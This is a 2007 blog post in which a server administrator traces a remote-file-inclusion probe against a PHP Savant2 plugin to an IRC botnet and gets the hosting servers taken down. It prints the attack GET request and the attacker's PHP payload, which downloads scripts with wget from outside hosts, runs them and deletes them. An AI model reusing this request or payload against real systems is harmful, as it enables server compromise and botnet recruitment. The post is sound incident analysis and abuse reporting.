The MUIE Botnet
2007/01/23 filed under /webLooking at your Apache logfiles can be fun. A lot of annoying people try to do all kinds of crazy stuff. Today I noticed this GET request:
GET /p/components/com_mtree/Savant2/Savant2_Plugin_textarea.php? + mosConfig_absolute_path=http://electrafusion.com/c.txt?? + HTTP/1.1
Since I'm not a fan of PHP, chances are I don't have this file. And yup, I was correct. I didn't have that file. But the URI in there made me curious. What is that c.txt doing exactly?
<?
shell_exec('cd /tmp;wget http://electrafusion.com/botek.txt;
+ mv botek.txt .sessx;perl .sessx;rm botek.txt.*;
+ wget http://saids.com/a;chmod +x a;
+ mv a sess_vttn737j6k0mci66akhs5u1261;
+ ./sess_vttn737j6k0mci66akhs5u1261;
+ rm a*');
...
?>
Ah! Nice. Go to /tmp, download botek.txt from the same server (see below), move that file to .sessx and execute it. Then delete the botek.txt file, get yet another file (now from saids.com, but a non-existing file...) execute that too and delete everything.
The script is a little longer, but basically it's trying various ways to get and launch these additional files.
So what does botek.txt exactly do? It opens an IRC connection a Bucharest.RO.EU.Ultra-Chat.Org. On that server (83.170.75.108), it joins the channel #muie and starts listening for commands from two nicknames (fazanul and Sorin ... our 1337 script kiddie). This in fact is rather dangerous. I doubt this botnet will be tremendously big, yet of course this "über hacker" will keep a list of vulnerable hosts. (To you system admins: check if your Savant2_Plugin_textarea.php is vulnerable!).
I found a real easy way to get protected agains these a**h*les though. Just login to the IRC server, join #muie with a nickname like MUIE|X|\d+ (where \d+ is a random number ;-) and mock this script kiddie' Perl knowledge. Call him script kiddie and they'll ban your IP within a minute. Woohoo! Now my server is safe from them, for my server can't login to the channel ;)
Anyways, after spending some time in the channel, I noticed quite a few of vulnerable hosts already as this picture shows:

Sad but true ...
So who's hosting these files?
$ host electrafusion.com electrafusion.com has address 208.179.58.67 electrafusion.com mail is handled by 10 electrafusion.com. $ gwhois 208.179.58.67 Process query: '208.179.58.67' [...] OrgName: Tierzero OrgID: TIERZ Address: 700 Wilshire Blvd. Address: Suite 600 City: Los Angeles StateProv: CA PostalCode: 90017 Country: US [...] OrgTechHandle: TECHT-ARIN OrgTechName: TECH-TIERZERO OrgTechPhone: +1-213-284-0555 OrgTechEmail: ipnetworkops@tierzero.net [...]
Start complaining! ;-) I already contacted TierZero, yet I haven't received any replies, and the files are still online :-(
The most ironic thing about this script kiddie is actually the last line of the botek.txt:
# NOTE: DONT REMOVE COPYRIGHTS
Update: TierZero did act on this botnet now:
PING electrafusion.com (208.179.58.67): 56 data bytes 36 bytes from hoanet-gw.dcap1.lax.us.tierzero.net (208.179.32.130): Communication prohibited by filter Vr HL TOS Len ID Flg off TTL Pro cks Src Dst 4 5 00 5400 a156 0 0000 38 01 b149 xxx.xxx.xxx.xxx 208.179.58.67 --- electrafusion.com ping statistics --- 1 packets transmitted, 0 packets received, 100% packet loss
Of course I had to tell this Sorin about this news and this is what our conversation was like:
Sorin: w
... thinking I was a zombie, he wanted to see who was online
Me: hahaha where did electrafusion.com go? ;-P
Sorin: bitch
Update: As expected, the script kiddie found a new webserver to download the bot scripts from: http://www.depdiknas.go.id/c.txt
The domain resolves to 222.124.249.2, which belongs to TELKOMNET. abuse@telkom.net.id has been informed and hopefully will respond fast.
I figured I'd also might be able to get the IRC server gone:
$ host Bucharest.RO.EU.Ultra-Chat.Org Bucharest.RO.EU.Ultra-Chat.Org has address 83.170.75.108 $ gwhois 83.170.75.108 Process query: '83.170.75.108' [...] % Information related to '83.170.64.0 - 83.170.79.255' inetnum: 83.170.64.0 - 83.170.79.255 netname: UK2-NET descr: UK2.NET - UK's biggest host country: GB admin-c: BB963-RIPE tech-c: BB963-RIPE rev-srv: ns1.uk2.net rev-srv: ns2.uk2.net status: ASSIGNED PA mnt-by: AS13213-MNT source: RIPE # Filtered [...]
This ISP has also been informed.
Update (2007/01/12): The botnet seems to have crumbled! Woohoo!
$ lwp-request -m HEAD http://www.depdiknas.go.id/c.txt 403 Forbidden [...]
Now that the initial script cannot be called anymore, let's see what we
have in our beloved #muie channel:

There's but 2 "users" in there (yes, antimuie is me ;-).
Even the fanazul and Sorin nicks are no longer logged in.
Victory!
Trackbacks
"Security Ripcord" mentioned this post in "Botnets Spreading Via PHP Version all_most_happened_to_me":
?>I know that botnets spreading by vulnerabilities in PHP is not new news. It is however the first time that I have noticed it on my site. So I have been targeted...along with the rest of the planet.
"ha.ckers.org" mentioned this post in "Botnet Destruction - A Drama":
?>This is actually pretty interesting because he takes it from the very first step (detecting the attack) to logging into the IRC server, to communicating with the OPs, trying to get himself banned to prevent his IP of his server from communicating with the IRC server, to taking down the individual servers that were hosting the files as well as taking down the IRC server.
"Security Ripcord" mentioned this post in "Interview with B10m":
?>As I stated in a previous post, I have been paying a little more attention to the information provided in URI and Refer sections provided by one of my Wordpress plugins. This information has, at times, contained information about some systems on the I...



Comments
Brian wrote at 2007-01-08 18:14:
B10m wrote at 2007-01-08 20:32:
Sorin wrote at 2007-01-13 14:22:
YorHel wrote at 2007-01-13 23:05:
dick wrote at 2007-02-26 01:03: